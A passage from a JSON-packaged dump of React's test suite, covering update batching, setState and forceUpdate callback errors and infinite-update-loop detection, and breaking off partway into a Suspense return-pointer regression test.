'Inner-render-2-2',\n      'Inner-didUpdate-2-2',\n      'Inner-callback-2',\n    ]);\n  });\n\n  it('should flush updates in the correct order across roots', async () => {\n    const instances = [];\n    const updates = [];\n\n    class MockComponent extends React.Component {\n      render() {\n        updates.push(this.props.depth);\n        return <div />;\n      }\n\n      componentDidMount() {\n        instances.push(this);\n        if (this.props.depth < this.props.count) {\n          const root = ReactDOMClient.createRoot(findDOMNode(this));\n          root.render(\n            <MockComponent\n              depth={this.props.depth + 1}\n              count={this.props.count}\n            />,\n          );\n        }\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<MockComponent depth={0} count={2} />);\n    });\n\n    expect(updates).toEqual([0, 1, 2]);\n\n    await act(() => {\n      // Simulate update on each component from top to bottom.\n      instances.forEach(function (instance) {\n        instance.forceUpdate();\n      });\n    });\n\n    expect(updates).toEqual([0, 1, 2, 0, 1, 2]);\n  });\n\n  it('should queue nested updates', async () => {\n    // See https://github.com/facebook/react/issues/1147\n\n    class X extends React.Component {\n      state = {s: 0};\n\n      render() {\n        if (this.state.s === 0) {\n          return (\n            <div>\n              <span>0</span>\n            </div>\n          );\n        } else {\n          return <div>1</div>;\n        }\n      }\n\n      go = () => {\n        this.setState({s: 1});\n        this.setState({s: 0});\n        this.setState({s: 1});\n      };\n    }\n\n    class Y extends React.Component {\n      render() {\n        return (\n          <div>\n            <Z />\n          </div>\n        );\n      }\n    }\n\n    class Z extends React.Component {\n      render() {\n        return <div />;\n      }\n\n      UNSAFE_componentWillUpdate() {\n        x.go();\n      }\n    }\n\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    let x;\n    await act(() => {\n      root.render(<X ref={current => (x = current)} />);\n    });\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    let y;\n    await act(() => {\n      root.render(<Y ref={current => (y = current)} />);\n    });\n\n    expect(findDOMNode(x).textContent).toBe('0');\n\n    await act(() => {\n      y.forceUpdate();\n    });\n    expect(findDOMNode(x).textContent).toBe('1');\n  });\n\n  it('should queue updates from during mount', async () => {\n    // See https://github.com/facebook/react/issues/1353\n    let a;\n\n    class A extends React.Component {\n      state = {x: 0};\n\n      UNSAFE_componentWillMount() {\n        a = this;\n      }\n\n      render() {\n        return <div>A{this.state.x}</div>;\n      }\n    }\n\n    class B extends React.Component {\n      UNSAFE_componentWillMount() {\n        a.setState({x: 1});\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <div>\n          <A />\n          <B />\n        </div>,\n      );\n    });\n\n    expect(container.firstChild.textContent).toBe('A1');\n  });\n\n  it('calls componentWillReceiveProps setState callback properly', async () => {\n    class A extends React.Component {\n      state = {x: this.props.x};\n\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        const newX = nextProps.x;\n        this.setState({x: newX}, function () {\n          // State should have updated by the time this callback gets called\n          expect(this.state.x).toBe(newX);\n          Scheduler.log('Callback');\n        });\n      }\n\n      render() {\n        return <div>{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<A x={1} />);\n    });\n    assertLog([]);\n\n    // Needs to be a separate act, or it will be batched.\n    await act(() => {\n      root.render(<A x={2} />);\n    });\n\n    assertLog(['Callback']);\n  });\n\n  it('does not call render after a component as been deleted', async () => {\n    let componentA = null;\n    let componentB = null;\n\n    class B extends React.Component {\n      state = {updates: 0};\n\n      componentDidMount() {\n        componentB = this;\n      }\n\n      render() {\n        Scheduler.log('B');\n        return <div />;\n      }\n    }\n\n    class A extends React.Component {\n      state = {showB: true};\n\n      componentDidMount() {\n        componentA = this;\n      }\n      render() {\n        return this.state.showB ? <B /> : <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<A />);\n    });\n    assertLog(['B']);\n\n    await act(() => {\n      // B will have scheduled an update but the batching should ensure that its\n      // update never fires.\n      componentB.setState({updates: 1});\n      componentA.setState({showB: false});\n    });\n\n    assertLog([]);\n  });\n\n  it('throws in setState if the update callback is not a function', async () => {\n    function Foo() {\n      this.a = 1;\n      this.b = 2;\n    }\n\n    class A extends React.Component {\n      state = {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    let component;\n    await act(() => {\n      root.render(<A ref={current => (component = current)} />);\n    });\n\n    await expect(async () => {\n      await act(() => {\n        component.setState({}, 'no');\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: no',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be ' +\n        'a function. Instead received: no.',\n    ]);\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<A ref={current => (component = current)} />);\n    });\n\n    await expect(async () => {\n      await act(() => {\n        component.setState({}, {foo: 'bar'});\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be ' +\n        \"a function. Instead received: { foo: 'bar' }.\",\n    ]);\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<A ref={current => (component = current)} />);\n    });\n\n    await expect(\n      act(() => {\n        component.setState({}, new Foo());\n      }),\n    ).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n  });\n\n  it('throws in forceUpdate if the update callback is not a function', async () => {\n    function Foo() {\n      this.a = 1;\n      this.b = 2;\n    }\n\n    class A extends React.Component {\n      state = {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    let component;\n    await act(() => {\n      root.render(<A ref={current => (component = current)} />);\n    });\n\n    await expect(async () => {\n      await act(() => {\n        component.forceUpdate('no');\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: no',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be ' +\n        'a function. Instead received: no.',\n    ]);\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<A ref={current => (component = current)} />);\n    });\n\n    await expect(async () => {\n      await act(() => {\n        component.forceUpdate({foo: 'bar'});\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be ' +\n        \"a function. Instead received: { foo: 'bar' }.\",\n    ]);\n    // Make sure the warning is deduplicated and doesn't fire again\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<A ref={current => (component = current)} />);\n    });\n\n    await expect(\n      act(() => {\n        component.forceUpdate(new Foo());\n      }),\n    ).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n  });\n\n  it('does not update one component twice in a batch (#2410)', async () => {\n    let parent;\n    class Parent extends React.Component {\n      childRef = React.createRef();\n\n      componentDidMount() {\n        parent = this;\n      }\n      getChild = () => {\n        return this.childRef.current;\n      };\n\n      render() {\n        return <Child ref={this.childRef} />;\n      }\n    }\n\n    let renderCount = 0;\n    let postRenderCount = 0;\n    let once = false;\n\n    class Child extends React.Component {\n      state = {updated: false};\n\n      UNSAFE_componentWillUpdate() {\n        if (!once) {\n          once = true;\n          this.setState({updated: true});\n        }\n      }\n\n      componentDidMount() {\n        expect(renderCount).toBe(postRenderCount + 1);\n        postRenderCount++;\n      }\n\n      componentDidUpdate() {\n        expect(renderCount).toBe(postRenderCount + 1);\n        postRenderCount++;\n      }\n\n      render() {\n        expect(renderCount).toBe(postRenderCount);\n        renderCount++;\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    const child = parent.getChild();\n    await act(() => {\n      parent.forceUpdate();\n      child.forceUpdate();\n    });\n\n    expect.assertions(6);\n  });\n\n  it('does not update one component twice in a batch (#6371)', async () => {\n    let callbacks = [];\n    function emitChange() {\n      callbacks.forEach(c => c());\n    }\n\n    class App extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {showChild: true};\n      }\n      componentDidMount() {\n        this.setState({showChild: false});\n      }\n      render() {\n        return (\n          <div>\n            <ForceUpdatesOnChange />\n            {this.state.showChild && <EmitsChangeOnUnmount />}\n          </div>\n        );\n      }\n    }\n\n    class EmitsChangeOnUnmount extends React.Component {\n      componentWillUnmount() {\n        emitChange();\n      }\n      render() {\n        return null;\n      }\n    }\n\n    class ForceUpdatesOnChange extends React.Component {\n      componentDidMount() {\n        this.onChange = () => this.forceUpdate();\n        this.onChange();\n        callbacks.push(this.onChange);\n      }\n      componentWillUnmount() {\n        callbacks = callbacks.filter(c => c !== this.onChange);\n      }\n      render() {\n        return <div key={Math.random()} onClick={function () {}} />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<App />);\n    });\n\n    // Error should not be thrown.\n    expect(true).toBe(true);\n  });\n\n  it('handles reentrant mounting in synchronous mode', async () => {\n    let onChangeCalled = false;\n    class Editor extends React.Component {\n      render() {\n        return <div>{this.props.text}</div>;\n      }\n      componentDidMount() {\n        Scheduler.log('Mount');\n        // This should be called only once but we guard just in case.\n        if (!this.props.rendered) {\n          this.props.onChange({rendered: true});\n        }\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    function render() {\n      root.render(\n        <Editor\n          onChange={newProps => {\n            onChangeCalled = true;\n            props = {...props, ...newProps};\n            render();\n          }}\n          {...props}\n        />,\n      );\n    }\n\n    let props = {text: 'hello', rendered: false};\n    await act(() => {\n      render();\n    });\n    assertLog(['Mount']);\n    props = {...props, text: 'goodbye'};\n    await act(() => {\n      render();\n    });\n\n    assertLog([]);\n    expect(container.textContent).toBe('goodbye');\n    expect(onChangeCalled).toBeTruthy();\n  });\n\n  it('mounts and unmounts are batched', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<div>Hello</div>);\n      expect(container.textContent).toBe('');\n      root.unmount(container);\n      expect(container.textContent).toBe('');\n    });\n\n    expect(container.textContent).toBe('');\n  });\n\n  it('uses correct base state for setState inside render phase', async () => {\n    class Foo extends React.Component {\n      state = {step: 0};\n      render() {\n        const memoizedStep = this.state.step;\n        this.setState(baseState => {\n          const baseStep = baseState.step;\n          Scheduler.log(`base: ${baseStep}, memoized: ${memoizedStep}`);\n          return baseStep === 0 ? {step: 1} : null;\n        });\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      'Cannot update during an existing state transition (such as within `render`). ' +\n        'Render methods should be a pure function of props and state.\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    assertLog(['base: 0, memoized: 0', 'base: 1, memoized: 1']);\n  });\n\n  it('does not re-render if state update is null', async () => {\n    const container = document.createElement('div');\n\n    let instance;\n    class Foo extends React.Component {\n      render() {\n        instance = this;\n        Scheduler.log('render');\n        return <div />;\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n\n    assertLog(['render']);\n    await act(() => {\n      instance.setState(() => null);\n    });\n    assertLog([]);\n  });\n\n  it('synchronously renders hidden subtrees', async () => {\n    const container = document.createElement('div');\n\n    function Baz() {\n      Scheduler.log('Baz');\n      return null;\n    }\n\n    function Bar() {\n      Scheduler.log('Bar');\n      return null;\n    }\n\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <div hidden={true}>\n            <Bar />\n          </div>\n          <Baz />\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      // Mount\n      root.render(<Foo />);\n    });\n    assertLog(['Foo', 'Bar', 'Baz']);\n\n    await act(() => {\n      // Update\n      root.render(<Foo />);\n    });\n    assertLog(['Foo', 'Bar', 'Baz']);\n  });\n\n  // @gate www\n  it('delays sync updates inside hidden subtrees in Concurrent Mode', async () => {\n    const container = document.createElement('div');\n\n    function Baz() {\n      Scheduler.log('Baz');\n      return <p>baz</p>;\n    }\n\n    let setCounter;\n    function Bar() {\n      const [counter, _setCounter] = React.useState(0);\n      setCounter = _setCounter;\n      Scheduler.log('Bar');\n      return <p>bar {counter}</p>;\n    }\n\n    function Foo() {\n      Scheduler.log('Foo');\n      React.useEffect(() => {\n        Scheduler.log('Foo#effect');\n      });\n      return (\n        <div>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Bar />\n          </LegacyHiddenDiv>\n          <Baz />\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    let hiddenDiv;\n    await act(async () => {\n      root.render(<Foo />);\n      await waitFor(['Foo', 'Baz', 'Foo#effect']);\n      hiddenDiv = container.firstChild.firstChild;\n      expect(hiddenDiv.hidden).toBe(true);\n      expect(hiddenDiv.innerHTML).toBe('');\n      // Run offscreen update\n      await waitForAll(['Bar']);\n      expect(hiddenDiv.hidden).toBe(true);\n      expect(hiddenDiv.innerHTML).toBe('<p>bar 0</p>');\n    });\n\n    ReactDOM.flushSync(() => {\n      setCounter(1);\n    });\n    // Should not flush yet\n    expect(hiddenDiv.innerHTML).toBe('<p>bar 0</p>');\n\n    // Run offscreen update\n    await waitForAll(['Bar']);\n    expect(hiddenDiv.innerHTML).toBe('<p>bar 1</p>');\n  });\n\n  it('can render ridiculously large number of roots without triggering infinite update loop error', async () => {\n    function Component({trigger}) {\n      const [state, setState] = React.useState(0);\n\n      React.useEffect(() => {\n        if (trigger) {\n          Scheduler.log('Trigger');\n          setState(c => c + 1);\n        }\n      }, [trigger]);\n\n      return <div>{state}</div>;\n    }\n\n    class Foo extends React.Component {\n      componentDidMount() {\n        const limit = 1200;\n        for (let i = 0; i < limit; i++) {\n          if (i < limit - 1) {\n            ReactDOMClient.createRoot(document.createElement('div')).render(\n              <Component />,\n            );\n          } else {\n            // The \"nested update limit\" error isn't thrown until setState\n            ReactDOMClient.createRoot(document.createElement('div')).render(\n              <Component trigger={true} />,\n            );\n          }\n        }\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Foo />);\n    });\n\n    // Make sure the setState trigger runs.\n    assertLog(['Trigger']);\n  });\n\n  it('resets the update counter for unrelated updates', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n\n    class EventuallyTerminating extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      componentDidUpdate() {\n        if (this.state.step < limit) {\n          this.setState({step: this.state.step + 1});\n        }\n      }\n      render() {\n        return this.state.step;\n      }\n    }\n\n    let limit = 55;\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<EventuallyTerminating ref={ref} />);\n      });\n    }).rejects.toThrow('Maximum');\n\n    // Verify that we don't go over the limit if these updates are unrelated.\n    limit -= 10;\n    await act(() => {\n      root.render(<EventuallyTerminating ref={ref} />);\n    });\n    expect(container.textContent).toBe(limit.toString());\n\n    await act(() => {\n      ref.current.setState({step: 0});\n    });\n    expect(container.textContent).toBe(limit.toString());\n\n    await act(() => {\n      ref.current.setState({step: 0});\n    });\n    expect(container.textContent).toBe(limit.toString());\n\n    limit += 10;\n    await expect(async () => {\n      await act(() => {\n        ref.current.setState({step: 0});\n      });\n    }).rejects.toThrow('Maximum');\n    expect(ref.current).toBe(null);\n  });\n\n  it('does not fall into an infinite update loop', async () => {\n    class NonTerminating extends React.Component {\n      state = {step: 0};\n\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n\n      componentDidUpdate() {\n        this.setState({step: 2});\n      }\n\n      render() {\n        return (\n          <div>\n            Hello {this.props.name}\n            {this.state.step}\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await expect(async () => {\n      await act(() => {\n        root.render(<NonTerminating />);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  it('does not fall into an infinite update loop with useLayoutEffect', async () => {\n    function NonTerminating() {\n      const [step, setStep] = React.useState(0);\n      React.useLayoutEffect(() => {\n        setStep(x => x + 1);\n      });\n      return step;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<NonTerminating />);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  it('can recover after falling into an infinite update loop', async () => {\n    class NonTerminating extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      componentDidUpdate() {\n        this.setState({step: 2});\n      }\n      render() {\n        return this.state.step;\n      }\n    }\n\n    class Terminating extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      render() {\n        return this.state.step;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<NonTerminating />);\n      });\n    }).rejects.toThrow('Maximum');\n\n    await act(() => {\n      root.render(<Terminating />);\n    });\n    expect(container.textContent).toBe('1');\n\n    await expect(async () => {\n      await act(() => {\n        root.render(<NonTerminating />);\n      });\n    }).rejects.toThrow('Maximum');\n    await act(() => {\n      root.render(<Terminating />);\n    });\n    expect(container.textContent).toBe('1');\n  });\n\n  it('does not fall into mutually recursive infinite update loop with same container', async () => {\n    // Note: this test would fail if there were two or more different roots.\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    class A extends React.Component {\n      componentDidMount() {\n        root.render(<B />);\n      }\n      render() {\n        return null;\n      }\n    }\n\n    class B extends React.Component {\n      componentDidMount() {\n        root.render(<A />);\n      }\n      render() {\n        return null;\n      }\n    }\n\n    await expect(async () => {\n      await act(() => {\n        root.render(<A />);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  it('does not fall into an infinite error loop', async () => {\n    function BadRender() {\n      throw new Error('error');\n    }\n\n    class ErrorBoundary extends React.Component {\n      componentDidCatch() {\n        // Schedule a no-op state update to avoid triggering a DEV warning in the test.\n        this.setState({});\n\n        this.props.parent.remount();\n      }\n      render() {\n        return <BadRender />;\n      }\n    }\n\n    class NonTerminating extends React.Component {\n      state = {step: 0};\n      remount() {\n        this.setState(state => ({step: state.step + 1}));\n      }\n      render() {\n        return <ErrorBoundary key={this.state.step} parent={this} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<NonTerminating />);\n      });\n    }).rejects.toThrow('Maximum');\n  });\n\n  it('can schedule ridiculously many updates within the same batch without triggering a maximum update error', async () => {\n    const subscribers = [];\n    const limit = 1200;\n    class Child extends React.Component {\n      state = {value: 'initial'};\n      componentDidMount() {\n        subscribers.push(this);\n      }\n      render() {\n        return null;\n      }\n    }\n\n    class App extends React.Component {\n      render() {\n        const children = [];\n        for (let i = 0; i < limit; i++) {\n          children.push(<Child key={i} />);\n        }\n        return children;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    await act(() => {\n      subscribers.forEach(s => {\n        s.setState({value: 'update'});\n      });\n    });\n\n    expect(subscribers.length).toBe(limit);\n  });\n\n  it(\"warns about potential infinite loop if there's a synchronous render phase update on another component\", async () => {\n    if (!__DEV__ || gate(flags => !flags.enableInfiniteRenderLoopDetection)) {\n      return;\n    }\n    let setState;\n    function App() {\n      const [, _setState] = React.useState(0);\n      setState = _setState;\n      return <Child />;\n    }\n\n    function Child(step) {\n      // This will cause an infinite update loop, and a warning in dev.\n      setState(n => n + 1);\n      return null;\n    }\n\n    const originalConsoleError = console.error;\n    console.error = e => {\n      if (\n        typeof e === 'string' &&\n        e.startsWith(\n          'Maximum update depth exceeded. This could be an infinite loop.',\n        )\n      ) {\n        Scheduler.log('stop');\n      }\n    };\n    try {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      root.render(<App />);\n      await waitFor(['stop']);\n    } finally {\n      console.error = originalConsoleError;\n    }\n  });\n\n  it(\"warns about potential infinite loop if there's an async render phase update on another component\", async () => {\n    if (!__DEV__ || gate(flags => !flags.enableInfiniteRenderLoopDetection)) {\n      return;\n    }\n    let setState;\n    function App() {\n      const [, _setState] = React.useState(0);\n      setState = _setState;\n      return <Child />;\n    }\n\n    function Child(step) {\n      // This will cause an infinite update loop, and a warning in dev.\n      setState(n => n + 1);\n      return null;\n    }\n\n    const originalConsoleError = console.error;\n    console.error = e => {\n      if (\n        typeof e === 'string' &&\n        e.startsWith(\n          'Maximum update depth exceeded. This could be an infinite loop.',\n        )\n      ) {\n        Scheduler.log('stop');\n      }\n    };\n    try {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      React.startTransition(() => root.render(<App />));\n      await waitFor(['stop']);\n    } finally {\n      console.error = originalConsoleError;\n    }\n  });\n\n  // TODO: Replace this branch with @gate pragmas\n  if (__DEV__) {\n    it('warns about a deferred infinite update loop with useEffect', async () => {\n      function NonTerminating() {\n        const [step, setStep] = React.useState(0);\n        React.useEffect(function myEffect() {\n          setStep(x => x + 1);\n        });\n        return step;\n      }\n\n      function App() {\n        return <NonTerminating />;\n      }\n\n      let error = null;\n      let ownerStack = null;\n      let debugStack = null;\n      const originalConsoleError = console.error;\n      console.error = e => {\n        error = e;\n        ownerStack = React.captureOwnerStack();\n        debugStack = new Error().stack;\n        Scheduler.log('stop');\n      };\n      try {\n        const container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        root.render(<App />);\n        await waitFor(['stop']);\n      } finally {\n        console.error = originalConsoleError;\n      }\n\n      expect(error).toContain('Maximum update depth exceeded');\n      // The currently executing effect should be on the native stack\n      expect(debugStack).toContain('at myEffect');\n      expect(ownerStack).toContain('at App');\n    });\n\n    it('can have nested updates if they do not cross the limit', async () => {\n      let _setStep;\n      const LIMIT = 50;\n\n      function Terminating() {\n        const [step, setStep] = React.useState(0);\n        _setStep = setStep;\n        React.useEffect(() => {\n          if (step < LIMIT) {\n            setStep(x => x + 1);\n          }\n        });\n        Scheduler.log(step);\n        return step;\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Terminating />);\n      });\n\n      assertLog(Array.from({length: LIMIT + 1}, (_, k) => k));\n      expect(container.textContent).toBe('50');\n      await act(() => {\n        _setStep(0);\n      });\n      expect(container.textContent).toBe('50');\n    });\n\n    it('can have many updates inside useEffect without triggering a warning', async () => {\n      function Terminating() {\n        const [step, setStep] = React.useState(0);\n        React.useEffect(() => {\n          for (let i = 0; i < 1000; i++) {\n            setStep(x => x + 1);\n          }\n          Scheduler.log('Done');\n        }, []);\n        return step;\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Terminating />);\n      });\n\n      assertLog(['Done']);\n      expect(container.textContent).toBe('1000');\n    });\n  }\n\n  it('prevents infinite update loop triggered by synchronous updates in useEffect', async () => {\n    // Ignore flushSync warning\n    spyOnDev(console, 'error').mockImplementation(() => {});\n\n    function NonTerminating() {\n      const [step, setStep] = React.useState(0);\n      React.useEffect(() => {\n        // Other examples of synchronous updates in useEffect are imperative\n        // event dispatches like `el.focus`, or `useSyncExternalStore`, which\n        // may schedule a synchronous update upon subscribing if it detects\n        // that the store has been mutated since the initial render.\n        //\n        // (Originally I wrote this test using `el.focus` but those errors\n        // get dispatched in a JSDOM event and I don't know how to \"catch\" those\n        // so that they don't fail the test.)\n        ReactDOM.flushSync(() => {\n          setStep(step + 1);\n        });\n      }, [step]);\n      return step;\n    }\n\n    const container = document.createElement('div');\n    const errors = [];\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError: (error, errorInfo) => {\n        errors.push(\n          `${error.message}${normalizeCodeLocInfo(errorInfo.componentStack)}`,\n        );\n      },\n    });\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        root.render(<NonTerminating />);\n      });\n    });\n\n    expect(errors).toEqual([\n      'Maximum update depth exceeded. ' +\n        'This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. ' +\n        'React limits the number of nested updates to prevent infinite loops.' +\n        '\\n    in NonTerminating (at **)',\n    ]);\n  });\n\n  it('prevents infinite update loop triggered by too many updates in ref callbacks', async () => {\n    let scheduleUpdate;\n    function TooManyRefUpdates() {\n      const [count, _scheduleUpdate] = React.useReducer(c => c + 1, 0);\n      scheduleUpdate = _scheduleUpdate;\n\n      return (\n        <div\n          ref={() => {\n            for (let i = 0; i < 50; i++) {\n              scheduleUpdate(1);\n            }\n          }}>\n          {count}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const errors = [];\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError: (error, errorInfo) => {\n        errors.push(\n          `${error.message}${normalizeCodeLocInfo(errorInfo.componentStack)}`,\n        );\n      },\n    });\n    await act(() => {\n      root.render(<TooManyRefUpdates />);\n    });\n\n    expect(errors).toEqual([\n      'Maximum update depth exceeded. ' +\n        'This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. ' +\n        'React limits the number of nested updates to prevent infinite loops.' +\n        '\\n    in div' +\n        '\\n    in TooManyRefUpdates (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactWrongReturnPointer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Suspense;\nlet SuspenseList;\nlet getCacheForType;\nlet caches;\nlet seededCache;\nlet assertLog;\n\nbeforeEach(() => {\n  React = require('react');\n  ReactNoop = require('react-noop-renderer');\n  Scheduler = require('scheduler');\n  act = require('internal-test-utils').act;\n\n  const InternalTestUtils = require('internal-test-utils');\n  assertLog = InternalTestUtils.assertLog;\n\n  Suspense = React.Suspense;\n  if (gate(flags => flags.enableSuspenseList)) {\n    SuspenseList = React.unstable_SuspenseList;\n  }\n\n  getCacheForType = React.unstable_getCacheForType;\n\n  caches = [];\n  seededCache = null;\n});\n\nfunction createTextCache() {\n  if (seededCache !== null) {\n    // Trick to seed a cache before it exists.\n    // TODO: Need a built-in API to seed data before the initial render (i.e.\n    // not a refresh because nothing has mounted yet).\n    const cache = seededCache;\n    seededCache = null;\n    return cache;\n  }\n\n  const data = new Map();\n  const version = caches.length + 1;\n  const cache = {\n    version,\n    data,\n    resolve(text) {\n      const record = data.get(text);\n      if (record === undefined) {\n        const newRecord = {\n          status: 'resolved',\n          value: text,\n        };\n        data.set(text, newRecord);\n      } else if (record.status === 'pending') {\n        const thenable = record.value;\n        record.status = 'resolved';\n        record.value = text;\n        thenable.pings.forEach(t => t());\n      }\n    },\n    reject(text, error) {\n      const record = data.get(text);\n      if (record === undefined) {\n        const newRecord = {\n          status: 'rejected',\n          value: error,\n        };\n        data.set(text, newRecord);\n      } else if (record.status === 'pending') {\n        const thenable = record.value;\n        record.status = 'rejected';\n        record.value = error;\n        thenable.pings.forEach(t => t());\n      }\n    },\n  };\n  caches.push(cache);\n  return cache;\n}\n\nfunction readText(text) {\n  const textCache = getCacheForType(createTextCache);\n  const record = textCache.data.get(text);\n  if (record !== undefined) {\n    switch (record.status) {\n      case 'pending':\n        Scheduler.log(`Suspend! [${text}]`);\n        throw record.value;\n      case 'rejected':\n        Scheduler.log(`Error! [${text}]`);\n        throw record.value;\n      case 'resolved':\n        return textCache.version;\n    }\n  } else {\n    Scheduler.log(`Suspend! [${text}]`);\n\n    const thenable = {\n      pings: [],\n      then(resolve) {\n        if (newRecord.status === 'pending') {\n          thenable.pings.push(resolve);\n        } else {\n          Promise.resolve().then(() => resolve(newRecord.value));\n        }\n      },\n    };\n\n    const newRecord = {\n      status: 'pending',\n      value: thenable,\n    };\n    textCache.data.set(text, newRecord);\n\n    throw thenable;\n  }\n}\n\nfunction Text({text}) {\n  Scheduler.log(text);\n  return <span prop={text} />;\n}\n\nfunction AsyncText({text, showVersion}) {\n  const version = readText(text);\n  const fullText = showVersion ? `${text} [v${version}]` : text;\n  Scheduler.log(fullText);\n  return <span prop={fullText} />;\n}\n\n// function seedNextTextCache(text) {\n//   if (seededCache === null) {\n//     seededCache = createTextCache();\n//   }\n//   seededCache.resolve(text);\n// }\n\nfunction resolveMostRecentTextCache(text) {\n  if (caches.length === 0) {\n    throw Error('Cache does not exist.');\n  } else {\n    // Resolve the most recently created cache. An older cache can by\n    // resolved with `caches[index].resolve(text)`.\n    caches[caches.length - 1].resolve(text);\n  }\n}\n\nconst resolveText = resolveMostRecentTextCache;\n\n// @gate enableLegacyCache\n// @gate enableSuspenseList\ntest('regression (#20932): return pointer is correct before entering deleted tree', async () => {\n  // Based on a production bug. Designed to trigger a very specific\n  // implementation path.\n  function Tail() {\n    return (\n      <Suspense fallback={<Text text=\"Loading Tail...\" />}>\n        <Text 